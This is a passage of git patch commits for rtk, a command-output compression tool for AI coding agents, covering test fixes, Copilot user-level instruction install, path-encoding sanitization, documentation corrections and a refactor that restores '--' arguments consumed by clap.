| | + | ~2,000 tokens (bruto) | | ~200 tokens | filtro | + +-----------------------------------+ +------- (filtrado) ---+----------+ +``` + +Quatro estratégias: + +1. **Filtragem inteligente** - Elimina ruído (comentários, espaços, boilerplate) +2. **Agrupamento** - Agrega itens similares (arquivos por diretório, erros por tipo) +3. **Truncamento** - Mantém contexto relevante, elimina redundância +4. **Deduplicação** - Colapsa linhas de log repetidas com contadores + +## Comandos + +### Arquivos +```bash +rtk ls . # Árvore de diretórios otimizada +rtk read file.rs # Leitura inteligente +rtk find "*.rs" . # Resultados compactos +rtk grep "pattern" . # Busca agrupada por arquivo +``` + +### Git +```bash +rtk git status # Status compacto +rtk git log -n 10 # Commits em uma linha +rtk git diff # Diff condensado +rtk git push # -> "ok main" +``` + +### Tests +```bash +rtk jest # Jest compacto +rtk vitest # Vitest compacto +rtk pytest # Tests Python (-90%) +rtk go test # Tests Go (-90%) +rtk cargo test # Tests Rust (-90%) +rtk test # Só falhas (-90%) +``` + +### Build & Lint +```bash +rtk lint # ESLint agrupado por regra +rtk tsc # Erros TypeScript agrupados +rtk cargo build # Build Cargo (-80%) +rtk ruff check # Lint Python (-80%) +``` + +### Análises +```bash +rtk gain # Estatísticas de economia +rtk gain --graph # Gráfico ASCII (30 dias) +rtk discover # Descobrir economias perdidas +``` + +## Documentação + +- **[INSTALL.md](INSTALL.md)** - Guia de instalação detalhado +- **[ARCHITECTURE.md](docs/contributing/ARCHITECTURE.md)** - Arquitetura técnica +- **[CONTRIBUTING.md](CONTRIBUTING.md)** - Guia de contribuição + +## Contribuir + +Contribuições são bem-vindas. Abra uma issue ou PR no [GitHub](https://github.com/rtk-ai/rtk). + +Junte-se à comunidade no [Discord](https://discord.gg/RySmvNF5kF). + +## Licença + +Apache License 2.0 - veja [LICENSE](LICENSE) para detalhes. + +## Aviso Legal + +Veja [DISCLAIMER.md](DISCLAIMER.md). From 207c82a585db4b2b3d343c25c403599cd28fbbe2 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Thu, 28 May 2026 16:44:06 +0200 Subject: [PATCH 169/204] missing bracket --- src/main.rs | 2 ++ 1 file changed, 2 insertions(+) diff --git a/src/main.rs b/src/main.rs index 819e57abfd..042a78cd54 100644 --- a/src/main.rs +++ b/src/main.rs @@ -3194,6 +3194,8 @@ mod tests { code, 134, "rtk crashed with SIGABRT (exit 134) on broken pipe - SIGPIPE handler missing" ); + } + fn test_ultra_compact_long_form_still_works() { let cli = Cli::try_parse_from(["rtk", "--ultra-compact", "git", "status"]).unwrap(); assert!( From b6ecf965a4e829756801da1f19de2e51c3af24c4 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Thu, 28 May 2026 16:50:18 +0200 Subject: [PATCH 170/204] missing test tag --- src/main.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/src/main.rs b/src/main.rs index 042a78cd54..672a3ec925 100644 --- a/src/main.rs +++ b/src/main.rs @@ -3196,6 +3196,7 @@ mod tests { ); } + #[test] fn test_ultra_compact_long_form_still_works() { let cli = Cli::try_parse_from(["rtk", "--ultra-compact", "git", "status"]).unwrap(); assert!( From e3ad9736177116b637da17faaf38f70312ab6148 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Fri, 29 May 2026 09:16:22 +0200 Subject: [PATCH 171/204] fix(copilot-cli): use user-level instruction for -g -g was missing user level instructions which are available for copilot --- .../guide/getting-started/supported-agents.md | 2 +- src/hooks/init.rs | 73 +++++++++++++++++-- 2 files changed, 69 insertions(+), 6 deletions(-) diff --git a/docs/guide/getting-started/supported-agents.md b/docs/guide/getting-started/supported-agents.md index 80f22f39e8..be70ddbd0e 100644 --- a/docs/guide/getting-started/supported-agents.md +++ b/docs/guide/getting-started/supported-agents.md @@ -73,7 +73,7 @@ rtk init --copilot # project-scoped (.github/hooks/) rtk init --global --copilot # user-scoped (~/.copilot/hooks/, respects $COPILOT_HOME) ``` -Project-scoped writes `.github/hooks/rtk-rewrite.json` (both hosts get transparent rewrite — VS Code Chat via `updatedInput`, Copilot CLI via `modifiedArgs`) plus the RTK block in `.github/copilot-instructions.md`. User-scoped writes only `~/.copilot/hooks/rtk-rewrite.json` — the Copilot CLI docs define no user-level instructions file. +Project-scoped writes `.github/hooks/rtk-rewrite.json` (both hosts get transparent rewrite — VS Code Chat via `updatedInput`, Copilot CLI via `modifiedArgs`) plus the RTK block in `.github/copilot-instructions.md`. User-scoped writes the same hook config to `~/.copilot/hooks/rtk-rewrite.json` and the RTK block to `~/.copilot/copilot-instructions.md` (both respect `$COPILOT_HOME` if set). Uninstall: diff --git a/src/hooks/init.rs b/src/hooks/init.rs index d349a96925..2d711073cf 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -4050,6 +4050,15 @@ fn run_copilot_global_at(copilot_dir: &Path, ctx: InitContext) -> Result<()> { .with_context(|| format!("Failed to create {} directory", hooks_dir.display()))?; } + let instructions_path = copilot_dir.join(COPILOT_INSTRUCTIONS_FILE); + write_rtk_block( + &instructions_path, + COPILOT_INSTRUCTIONS, + "Copilot user-level instructions", + "rtk init --global --copilot", + ctx, + )?; + let hook_path = hooks_dir.join(COPILOT_HOOK_FILE); write_if_changed( &hook_path, @@ -4063,6 +4072,7 @@ fn run_copilot_global_at(copilot_dir: &Path, ctx: InitContext) -> Result<()> { } else { println!("\nGitHub Copilot global integration installed (user-scoped).\n"); println!(" Hook config: {}", hook_path.display()); + println!(" Instructions: {}", instructions_path.display()); println!("\n Applies to all Copilot CLI sessions on this machine."); println!(" Restart your Copilot CLI session to activate.\n"); } @@ -4117,6 +4127,31 @@ fn uninstall_copilot_global_at(copilot_dir: &Path, ctx: InitContext) -> Result Date: Fri, 29 May 2026 09:26:32 +0200 Subject: [PATCH 172/204] fix: fmt --- src/hooks/init.rs | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/src/hooks/init.rs b/src/hooks/init.rs index 2d711073cf..0b18557195 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -6639,7 +6639,10 @@ mod tests { let temp = TempDir::new().unwrap(); run_copilot_global_at(temp.path(), InitContext::default()).unwrap(); let instructions = temp.path().join(COPILOT_INSTRUCTIONS_FILE); - assert!(instructions.exists(), "user-level instructions must be written"); + assert!( + instructions.exists(), + "user-level instructions must be written" + ); let content = fs::read_to_string(&instructions).unwrap(); assert!(content.contains(RTK_BLOCK_START)); assert!(content.contains("rtk cargo test")); @@ -6654,7 +6657,10 @@ mod tests { run_copilot_global_at(temp.path(), InitContext::default()).unwrap(); let content = fs::read_to_string(&instructions).unwrap(); - assert!(content.contains("Always use pnpm."), "user content must be preserved"); + assert!( + content.contains("Always use pnpm."), + "user content must be preserved" + ); assert!(content.contains(RTK_BLOCK_START)); } From 7853819fe0f4285708469766a3c62f3368ac6a5c Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Fri, 29 May 2026 12:51:04 +0200 Subject: [PATCH 173/204] Update main.rs --- src/main.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/src/main.rs b/src/main.rs index 672a3ec925..819d32b719 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1362,6 +1362,7 @@ fn main() { // release profile that becomes SIGABRT + coredump. #[cfg(unix)] unsafe { + // nosemgrep: unsafe-block libc::signal(libc::SIGPIPE, libc::SIG_DFL); } From b11f82751d268a7cc40d9d2aa1d8425d12fbcd03 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Fri, 29 May 2026 12:57:03 +0200 Subject: [PATCH 174/204] allow unsafe code clippy + semgrep --- src/main.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/src/main.rs b/src/main.rs index 819d32b719..62237dc2f5 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1361,6 +1361,7 @@ fn main() { // Rust ignores SIGPIPE by default and with panic="abort" in the // release profile that becomes SIGABRT + coredump. #[cfg(unix)] + #[allow(unsafe_code)] unsafe { // nosemgrep: unsafe-block libc::signal(libc::SIGPIPE, libc::SIG_DFL); From dd5362fd546ae07409dbd799f00f524800157f73 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Fri, 29 May 2026 13:03:02 +0200 Subject: [PATCH 175/204] Update main.rs --- src/main.rs | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/src/main.rs b/src/main.rs index 62237dc2f5..5c0f7462b7 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1362,8 +1362,7 @@ fn main() { // release profile that becomes SIGABRT + coredump. #[cfg(unix)] #[allow(unsafe_code)] - unsafe { - // nosemgrep: unsafe-block + unsafe { // nosemgrep: unsafe-block libc::signal(libc::SIGPIPE, libc::SIG_DFL); } From 26ff547c25a408e40ec2e8b2d6ad10c8c98bcade Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Fri, 29 May 2026 13:15:24 +0200 Subject: [PATCH 176/204] Update main.rs --- src/main.rs | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/src/main.rs b/src/main.rs index 5c0f7462b7..7f11a3eb91 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1362,7 +1362,8 @@ fn main() { // release profile that becomes SIGABRT + coredump. #[cfg(unix)] #[allow(unsafe_code)] - unsafe { // nosemgrep: unsafe-block + // nosemgrep: unsafe-block + unsafe { libc::signal(libc::SIGPIPE, libc::SIG_DFL); } From 5989ac91b008dece0d36b62c2deb169a90d5063d Mon Sep 17 00:00:00 2001 From: Nicolas Le Cam Date: Sat, 30 May 2026 17:19:13 +0200 Subject: [PATCH 177/204] fix(provider): sanatize more chars when encoding claude code project pathes Fixes #2150 --- src/discover/provider.rs | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/src/discover/provider.rs b/src/discover/provider.rs index ee76c7a169..a9b630a2b9 100644 --- a/src/discover/provider.rs +++ b/src/discover/provider.rs @@ -129,7 +129,7 @@ impl ClaudeProvider { /// `/home/chris/2_project` → `-home-chris-2-project` /// `C:\Users\foo\bar` → `C:-Users-foo-bar` pub fn encode_project_path(path: &str) -> String { - const SANITIZED_CHARS: &[char] = &['/', '.', '_', '\\']; + const SANITIZED_CHARS: &[char] = &['/', '.', '_', '\\', ' ', '[', ']']; path.chars() .map(|c| { @@ -421,6 +421,17 @@ mod tests { assert!(encoded.contains("Sites")); } + #[test] + fn test_encode_path_with_spaces() { + // Even if run on Unix, encoding should replace backslashes to match Claude's behavior + assert_eq!( + ClaudeProvider::encode_project_path( + r"/home/user/projects/[QZX-7K42] - Análise Genérica de Exemplo" + ), + "-home-user-projects--QZX-7K42----An-lise-Gen-rica-de-Exemplo" + ); + } + #[test] fn test_discover_sessions_missing_projects_dir_returns_empty() { let temp_home = tempfile::tempdir().unwrap(); From 67a5958459decb784bb0948b921e5ffd9c8ee52c Mon Sep 17 00:00:00 2001 From: Nicolas Le Cam Date: Sat, 30 May 2026 18:16:30 +0200 Subject: [PATCH 178/204] doc(init): fix documentation inconsistencies arount `rtk init` Fixes #213 --- README.md | 8 +++++--- docs/guide/getting-started/supported-agents.md | 9 +++++---- 2 files changed, 10 insertions(+), 7 deletions(-) diff --git a/README.md b/README.md index 492589ef80..d91e21b246 100644 --- a/README.md +++ b/README.md @@ -107,10 +107,11 @@ rtk init -g # Claude Code / Copilot (default) rtk init -g --gemini # Gemini CLI rtk init -g --codex # Codex (OpenAI) rtk init -g --agent cursor # Cursor -rtk init --agent windsurf # Windsurf +rtk init -g --agent windsurf # Windsurf rtk init --agent cline # Cline / Roo Code rtk init --agent kilocode # Kilo Code rtk init --agent antigravity # Google Antigravity +rtk init -g --agent pi # Pi rtk init --agent hermes # Hermes # 2. Restart your AI tool, then test @@ -352,7 +353,7 @@ rtk git status ## Supported AI Tools -RTK supports 13 AI coding tools. Each integration rewrites shell commands to `rtk` equivalents for 60-90% token savings where the agent supports command interception. +RTK supports 14 AI coding tools. Each integration rewrites shell commands to `rtk` equivalents for 60-90% token savings where the agent supports command interception. | Tool | Install | Method | |------|---------|--------| @@ -362,10 +363,11 @@ RTK supports 13 AI coding tools. Each integration rewrites shell commands to `rt | **Cursor** | `rtk init -g --agent cursor` | preToolUse hook (hooks.json) | | **Gemini CLI** | `rtk init -g --gemini` | BeforeTool hook | | **Codex** | `rtk init -g --codex` | AGENTS.md + RTK.md instructions | -| **Windsurf** | `rtk init --agent windsurf` | .windsurfrules (project-scoped) | +| **Windsurf** | `rtk init -g --agent windsurf` | .windsurfrules (project-scoped) | | **Cline / Roo Code** | `rtk init --agent cline` | .clinerules (project-scoped) | | **OpenCode** | `rtk init -g --opencode` | Plugin TS (tool.execute.before) | | **OpenClaw** | `openclaw plugins install ./openclaw` | Plugin TS (before_tool_call) | +| **Pi** | `rtk init -g --agent pi` (global) | TypeScript extension (tool_call) | | **Hermes** | `rtk init --agent hermes` | Python plugin adapter (terminal command mutation via `rtk rewrite`) | | **Mistral Vibe** | Planned ([#800](https://github.com/rtk-ai/rtk/issues/800)) | Blocked on upstream | | **Kilo Code** | `rtk init --agent kilocode` | .kilocode/rules/rtk-rules.md (project-scoped) | diff --git a/docs/guide/getting-started/supported-agents.md b/docs/guide/getting-started/supported-agents.md index be70ddbd0e..d5a0ad87c7 100644 --- a/docs/guide/getting-started/supported-agents.md +++ b/docs/guide/getting-started/supported-agents.md @@ -61,7 +61,7 @@ rtk init --show # shows hook status ### Cursor ```bash -rtk init --global --cursor +rtk init --global --agent cursor ``` Restart Cursor. The hook uses `preToolUse` with Cursor's `updated_input` format. @@ -140,7 +140,7 @@ The plugin fails open. If `rtk` is missing at load time, the hook is not registe ### Cline / Roo Code ```bash -rtk init --cline # creates .clinerules in current project +rtk init --agent cline # creates .clinerules in current project ``` Cline reads `.clinerules` as custom instructions. RTK adds guidance telling Cline to prefer `rtk ` over raw commands. @@ -148,13 +148,14 @@ Cline reads `.clinerules` as custom instructions. RTK adds guidance telling Clin ### Windsurf ```bash -rtk init --windsurf # creates .windsurfrules in current project +rtk init --global --agent windsurf # creates .windsurfrules in current project ``` ### Codex CLI ```bash -rtk init --codex # creates AGENTS.md or patches existing one +rtk init --codex # project-scoped (AGENTS.md) +rtk init --global --codex # user-global (~/.codex/AGENTS.md) ``` ### Kilo Code From 83cd93e7d7ac544e9d0a5783edfdabff04a41226 Mon Sep 17 00:00:00 2001 From: Nicolas Le Cam Date: Sun, 10 May 2026 02:10:47 +0200 Subject: [PATCH 179/204] chore(args): introduce a more generic solution for restoring double dashes in args Fixes #1669 --- src/cmds/git/git.rs | 200 ++----------------------------- src/cmds/rust/cargo_cmd.rs | 45 +------ src/core/args_utils.rs | 240 +++++++++++++++++++++++++++++++++++++ src/core/mod.rs | 1 + 4 files changed, 255 insertions(+), 231 deletions(-) create mode 100644 src/core/args_utils.rs diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index eaf8d8b5f9..b8ccfe9230 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -1,5 +1,6 @@ //! Filters git output — log, status, diff, and more — keeping just the essential info. +use crate::core::args_utils; use crate::core::stream::{ self, exec_capture, CaptureResult, FilterMode, LineHandler, LineStreamFilter, StdinMode, }; @@ -102,65 +103,6 @@ pub fn run( } } -/// Re-insert `--` before the first path-like argument when clap has consumed it. -/// -/// clap's `trailing_var_arg = true` silently drops `--` when it appears as the -/// first positional argument (before any other positional). This means: -/// `rtk git diff -- file` → args = ["file"] (clap ate `--`) -/// `rtk git diff HEAD -- file` → args = ["HEAD", "--", "file"] (preserved) -/// -/// Without the `--` separator git may treat an unambiguous path as a revision and -/// emit "fatal: ambiguous argument". We re-insert `--` before the first path-like -/// argument; see `normalize_diff_args_impl` for the detection rules. -fn normalize_diff_args(args: &[String]) -> Vec { - normalize_diff_args_impl(args, |p| std::path::Path::new(p).exists()) -} - -/// Testable core of `normalize_diff_args` — accepts an injectable filesystem existence checker. -/// -/// The path-detection logic is: -/// 1. Explicit path prefixes (`.`, `~`) → always a path, no filesystem check needed. -/// 2. Contains path separator (`/`, `\`) → use `path_exists` to distinguish branch names -/// (e.g. `feature/auth`) from real paths (e.g. `src/main.rs`). -/// 3. Bare word with no separator → never a path (avoids injecting `--` when a file -/// happens to share a name with a branch or ref, e.g. a file named `main`). -fn normalize_diff_args_impl(args: &[String], path_exists: F) -> Vec -where - F: Fn(&str) -> bool, -{ - // Already has `--` — nothing to do - if args.iter().any(|a| a == "--") { - return args.to_vec(); - } - let path_start = args.iter().position(|arg| { - if arg.starts_with('-') { - return false; - } - // Explicit path prefixes — always treat as path regardless of existence - if arg.starts_with('.') || arg.starts_with('~') { - return true; - } - // Contains path separator — use filesystem check to distinguish - // branch names (feature/auth) from real paths (src/main.rs) - if arg.contains('/') || arg.contains('\\') { - return path_exists(arg); - } - // Bare word (no separator, no special prefix) — never inject `--` - // This avoids misidentifying a ref/branch as a path even if a same-named - // file happens to exist on disk. - false - }); - match path_start { - Some(idx) => { - let mut out = args[..idx].to_vec(); - out.push("--".to_string()); - out.extend_from_slice(&args[idx..]); - out - } - None => args.to_vec(), - } -} - fn run_diff( args: &[String], max_lines: Option, @@ -170,7 +112,7 @@ fn run_diff( let timer = tracking::TimedExecution::start(); // Re-insert `--` when clap's trailing_var_arg consumed it (issue #1215) - let args = &normalize_diff_args(args); + let args = &args_utils::restore_double_dash(args); // Check if user wants stat output let wants_stat = args @@ -1911,8 +1853,14 @@ mod tests { assert!(uses_compact_status_path(&["-b".to_string()])); assert!(uses_compact_status_path(&["--branch".to_string()])); assert!(uses_compact_status_path(&["-sb".to_string()])); - assert!(uses_compact_status_path(&["-s".to_string(), "-b".to_string()])); - assert!(uses_compact_status_path(&["--short".to_string(), "--branch".to_string()])); + assert!(uses_compact_status_path(&[ + "-s".to_string(), + "-b".to_string() + ])); + assert!(uses_compact_status_path(&[ + "--short".to_string(), + "--branch".to_string() + ])); assert!(!uses_compact_status_path(&["-s".to_string()])); assert!(!uses_compact_status_path(&["--short".to_string()])); assert!(!uses_compact_status_path(&["--porcelain".to_string()])); @@ -2002,134 +1950,6 @@ mod tests { ); } - // ----- normalize_diff_args (issue #1215 + branch-name fix #1431) ----- - // - // Tests use normalize_diff_args_impl with a mock path-existence checker so - // they don't depend on the real filesystem. - - fn exists_mock<'a>(existing: &'a [&'a str]) -> impl Fn(&str) -> bool + 'a { - move |p| existing.contains(&p) - } - - /// Baseline: `--` already present → no-op, args unchanged. - #[test] - fn test_normalize_diff_args_noop_when_separator_present() { - let args = vec![ - "HEAD".to_string(), - "--".to_string(), - "src/main.rs".to_string(), - ]; - assert_eq!(normalize_diff_args_impl(&args, exists_mock(&[])), args); - } - - /// Core regression (issue #1215): clap ate `--` before a real file path. - /// When the path exists on disk, `--` must be re-inserted. - #[test] - fn test_normalize_diff_args_reinserts_separator_before_existing_path() { - let args = vec!["apps/client/frontend/src/MyComponent.tsx".to_string()]; - let normalized = normalize_diff_args_impl( - &args, - exists_mock(&["apps/client/frontend/src/MyComponent.tsx"]), - ); - assert_eq!( - normalized, - vec![ - "--".to_string(), - "apps/client/frontend/src/MyComponent.tsx".to_string() - ], - "-- must be injected before an existing path" - ); - } - - /// Ref before path: ["HEAD", "src/foo.rs"] where src/foo.rs exists → inject after HEAD. - #[test] - fn test_normalize_diff_args_reinserts_separator_after_ref() { - let args = vec!["HEAD".to_string(), "src/foo.rs".to_string()]; - let normalized = normalize_diff_args_impl(&args, exists_mock(&["src/foo.rs"])); - assert_eq!( - normalized, - vec![ - "HEAD".to_string(), - "--".to_string(), - "src/foo.rs".to_string() - ] - ); - } - - /// Flags before path: ["--cached", "src/foo.rs"] where src/foo.rs exists. - #[test] - fn test_normalize_diff_args_reinserts_separator_after_flag() { - let args = vec!["--cached".to_string(), "src/foo.rs".to_string()]; - let normalized = normalize_diff_args_impl(&args, exists_mock(&["src/foo.rs"])); - assert_eq!( - normalized, - vec![ - "--cached".to_string(), - "--".to_string(), - "src/foo.rs".to_string() - ] - ); - } - - /// Pure flags (no paths) → no injection. - #[test] - fn test_normalize_diff_args_no_injection_for_pure_flags() { - let args = vec!["--stat".to_string(), "--cached".to_string()]; - assert_eq!(normalize_diff_args_impl(&args, exists_mock(&[])), args); - } - - /// Dotfile that exists on disk → inject `--`. - #[test] - fn test_normalize_diff_args_dotfile_is_path() { - let args = vec![".gitignore".to_string()]; - let normalized = normalize_diff_args_impl(&args, exists_mock(&[".gitignore"])); - assert_eq!(normalized, vec!["--".to_string(), ".gitignore".to_string()]); - } - - /// A bare ref (HEAD) that doesn't exist as a file → no injection. - #[test] - fn test_normalize_diff_args_no_injection_for_bare_ref() { - let args = vec!["HEAD".to_string()]; - assert_eq!(normalize_diff_args_impl(&args, exists_mock(&[])), args); - } - - /// Branch name with `/` that does NOT exist as a file → no injection. - /// Regression for issue #1431: `rtk git diff feature/user-auth` must not inject `--`. - #[test] - fn test_normalize_diff_args_no_injection_for_branch_with_slash() { - let args = vec!["feature/user-auth".to_string()]; - assert_eq!( - normalize_diff_args_impl(&args, exists_mock(&[])), - args, - "branch names containing '/' must not trigger -- injection" - ); - } - - /// Range syntax with `/` → no injection. - /// Regression: `rtk git diff main...feature/user-auth` produced no output. - #[test] - fn test_normalize_diff_args_no_injection_for_range_with_slash() { - let args = vec!["main...feature/user-auth".to_string()]; - assert_eq!( - normalize_diff_args_impl(&args, exists_mock(&[])), - args, - "revision ranges like main...feature/user-auth must not trigger -- injection" - ); - } - - /// Bare word that happens to exist as a file on disk → still no injection. - /// A file named "main" must not cause `--` to be injected when the user - /// intends `rtk git diff main` as a branch comparison. - #[test] - fn test_normalize_diff_args_no_injection_for_bare_word_even_if_file_exists() { - let args = vec!["main".to_string()]; - assert_eq!( - normalize_diff_args_impl(&args, exists_mock(&["main"])), - args, - "bare words must never trigger -- injection even when a same-named file exists" - ); - } - #[test] fn test_is_blob_show_arg() { assert!(is_blob_show_arg("develop:modules/pairs_backtest.py")); diff --git a/src/cmds/rust/cargo_cmd.rs b/src/cmds/rust/cargo_cmd.rs index 5b8152ce0f..8726de40e9 100644 --- a/src/cmds/rust/cargo_cmd.rs +++ b/src/cmds/rust/cargo_cmd.rs @@ -1,5 +1,6 @@ //! Filters cargo output — build errors, test results, clippy warnings. +use crate::core::args_utils; use crate::core::runner; use crate::core::stream::{BlockHandler, BlockStreamFilter, StreamFilter}; use crate::core::truncate::{CAP_ERRORS, CAP_LIST, CAP_WARNINGS}; @@ -31,45 +32,6 @@ pub fn run(cmd: CargoCommand, args: &[String], verbose: u8) -> Result { } } -/// Reconstruct args with `--` separator preserved from the original command line. -/// Clap strips `--` from parsed args, but cargo subcommands need it to separate -/// their own flags from test runner flags (e.g. `cargo test -- --nocapture`). -fn restore_double_dash(args: &[String]) -> Vec { - let raw_args: Vec = std::env::args().collect(); - restore_double_dash_with_raw(args, &raw_args) -} - -/// Testable version that takes raw_args explicitly. -fn restore_double_dash_with_raw(args: &[String], raw_args: &[String]) -> Vec { - if args.is_empty() { - return args.to_vec(); - } - - // If args already contain `--` (Clap preserved it), no restoration needed - if args.iter().any(|a| a == "--") { - return args.to_vec(); - } - - // Find `--` in the original command line - let sep_pos = match raw_args.iter().position(|a| a == "--") { - Some(pos) => pos, - None => return args.to_vec(), - }; - - // Count how many of our parsed args appeared before `--` in the original. - // Args before `--` are positional (e.g. test name), args after are flags. - let args_before_sep = raw_args[..sep_pos] - .iter() - .filter(|a| args.contains(a)) - .count(); - - let mut result = Vec::with_capacity(args.len() + 1); - result.extend_from_slice(&args[..args_before_sep]); - result.push("--".to_string()); - result.extend_from_slice(&args[args_before_sep..]); - result -} - // --- Stream handlers --- struct CargoBuildHandler { @@ -291,7 +253,7 @@ where let mut cmd = resolved_command("cargo"); cmd.arg(subcommand); - let restored_args = restore_double_dash(args); + let restored_args = args_utils::restore_double_dash(args); for arg in &restored_args { cmd.arg(arg); } @@ -318,7 +280,7 @@ fn run_cargo_streamed( let mut cmd = resolved_command("cargo"); cmd.arg(subcommand); - let restored_args = restore_double_dash(args); + let restored_args = args_utils::restore_double_dash(args); for arg in &restored_args { cmd.arg(arg); } @@ -1275,6 +1237,7 @@ pub fn run_passthrough(args: &[OsString], verbose: u8) -> Result { #[cfg(test)] mod tests { use super::*; + use crate::core::args_utils::restore_double_dash_with_raw; #[test] fn test_restore_double_dash_with_separator() { diff --git a/src/core/args_utils.rs b/src/core/args_utils.rs new file mode 100644 index 0000000000..f5418b0cc8 --- /dev/null +++ b/src/core/args_utils.rs @@ -0,0 +1,240 @@ +//! Utility functions for argument handling, particularly for restoring "--" escape +//! arguments that clap consumes during parsing. + +/// Restores "--" escape arguments that clap consumed. +/// Handles: +/// - Single/multiple "--" swallowed by clap (restores each at its original position) +/// - "--" already present in parsed (no change) +/// - No "--" in original command (no injection) +/// - Args appearing before/after "--" in original (preserves order) +/// - Interleaved "--" and args (preserves relative positions, e.g., "-- arg1 -- arg2") +/// - Duplicate args on both sides of "--" +/// +/// Returns parsed_args unchanged if raw has same or fewer "--" than parsed +/// (meaning clap didn't consume any, or preserved them). +pub fn restore_double_dash(parsed_args: &[String]) -> Vec { + let raw_args: Vec = std::env::args().collect(); + restore_double_dash_with_raw(parsed_args, &raw_args) +} + +/// Testable version that takes raw_args explicitly. +pub fn restore_double_dash_with_raw(parsed_args: &[String], raw_args: &[String]) -> Vec { + let raw_dash_count = raw_args.iter().filter(|a| a.as_str() == "--").count(); + let parsed_dash_count = parsed_args.iter().filter(|a| a.as_str() == "--").count(); + + if raw_dash_count <= parsed_dash_count { + return parsed_args.to_vec(); + } + + // Find all positions of "--" in raw_args (skip index 0 = "rtk") + let mut dash_positions: Vec = Vec::new(); + for (i, arg) in raw_args.iter().enumerate().skip(1) { + if arg == "--" { + dash_positions.push(i); + } + } + + if dash_positions.is_empty() { + return parsed_args.to_vec(); + } + + // Build result by inserting "--" at correct positions relative to parsed args + let mut result = Vec::new(); + let mut raw_idx = 1; // start after "rtk" + let mut dash_idx = 0; + + while raw_idx < raw_args.len() { + // Check if current position is a "--" that was swallowed + if dash_idx < dash_positions.len() && raw_idx == dash_positions[dash_idx] { + result.push("--".to_string()); + dash_idx += 1; + } else if parsed_args.contains(&raw_args[raw_idx]) { + // This arg is in parsed_args, add it + result.push(raw_args[raw_idx].clone()); + } + raw_idx += 1; + } + + result +} + +#[cfg(test)] +mod tests { + use super::*; + + fn restore_with_raw(parsed: &[&str], raw: &[&str]) -> Vec { + let parsed: Vec = parsed.iter().map(|s| s.to_string()).collect(); + let raw: Vec = raw.iter().map(|s| s.to_string()).collect(); + restore_double_dash_with_raw(parsed.as_slice(), raw.as_slice()) + } + + // ============ Single "--" swallowed ============ + + #[test] + fn test_single_dash_swallowed() { + // rtk git diff -- file → clap gave ["file"], restore "--" + let raw = vec!["rtk", "git", "diff", "--", "file"]; + let parsed = vec!["file"]; + assert_eq!(restore_with_raw(&parsed, &raw), vec!["--", "file"]); + } + + #[test] + fn test_args_before_dash() { + // rtk cargo test name -- --nocapture → args before "--" stay before + let raw = vec!["rtk", "cargo", "test", "name", "--", "--nocapture"]; + let parsed = vec!["name", "--nocapture"]; + assert_eq!( + restore_with_raw(&parsed, &raw), + vec!["name", "--", "--nocapture"] + ); + } + + // ============ Multiple "--" swallowed ============ + + #[test] + fn test_multiple_dashes_all_swallowed() { + // rtk git diff -- -- -- → all 3 "--" swallowed, consecutive in output + let raw = vec!["rtk", "git", "diff", "--", "--", "--"]; + let parsed: Vec<&str> = vec![]; + assert_eq!(restore_with_raw(&parsed, &raw), vec!["--", "--", "--"]); + } + + #[test] + fn test_dashes_with_args_between() { + // rtk git diff -- arg1 -- arg2 → both "--" consumed, preserve positions + let raw = vec!["rtk", "git", "diff", "--", "arg1", "--", "arg2"]; + let parsed = vec!["arg1", "arg2"]; + // Result: each "--" inserted at its original position relative to args + assert_eq!( + restore_with_raw(&parsed, &raw), + vec!["--", "arg1", "--", "arg2"] + ); + } + + #[test] + fn test_multiple_dashes_some_preserved() { + // rtk git diff -- -- → 2 in raw, 1 preserved in parsed + let raw = vec!["rtk", "git", "diff", "--", "--"]; + let parsed = vec!["--"]; + assert_eq!(restore_with_raw(&parsed, &raw), vec!["--", "--"]); + } + + #[test] + fn test_compound_command_with_dashes() { + // Multiple segments with "--" → restore all + let raw = vec!["rtk", "cmd1", "--", "arg1", "&&", "cmd2", "--", "file"]; + let parsed = vec!["file"]; + assert_eq!(restore_with_raw(&parsed, &raw), vec!["--", "--", "file"]); + } + + // ============ "--" already present (no change needed) ============ + + #[test] + fn test_dash_already_preserved() { + // rtk cargo clippy -p pkg -- -D warnings → clap kept "--" + let raw = vec![ + "rtk", "cargo", "clippy", "-p", "pkg", "--", "-D", "warnings", + ]; + let parsed = vec!["-p", "pkg", "--", "-D", "warnings"]; + assert_eq!( + restore_with_raw(&parsed, &raw), + vec!["-p", "pkg", "--", "-D", "warnings"] + ); + } + + #[test] + fn test_trailing_dash_preserved() { + // rtk git diff file -- → trailing "--" preserved + let raw = vec!["rtk", "git", "diff", "file", "--"]; + let parsed = vec!["file", "--"]; + assert_eq!(restore_with_raw(&parsed, &raw), vec!["file", "--"]); + } + + // ============ No "--" in original (no injection) ============ + + #[test] + fn test_no_dash_in_original() { + // Various cases: branch with /, range, bare word, flags only + // All should return args unchanged (no injection) + let cases = vec![ + ( + vec!["rtk", "git", "diff", "feature/auth"], + vec!["feature/auth"], + ), + ( + vec!["rtk", "git", "diff", "main...feature"], + vec!["main...feature"], + ), + (vec!["rtk", "git", "diff", "main"], vec!["main"]), + ( + 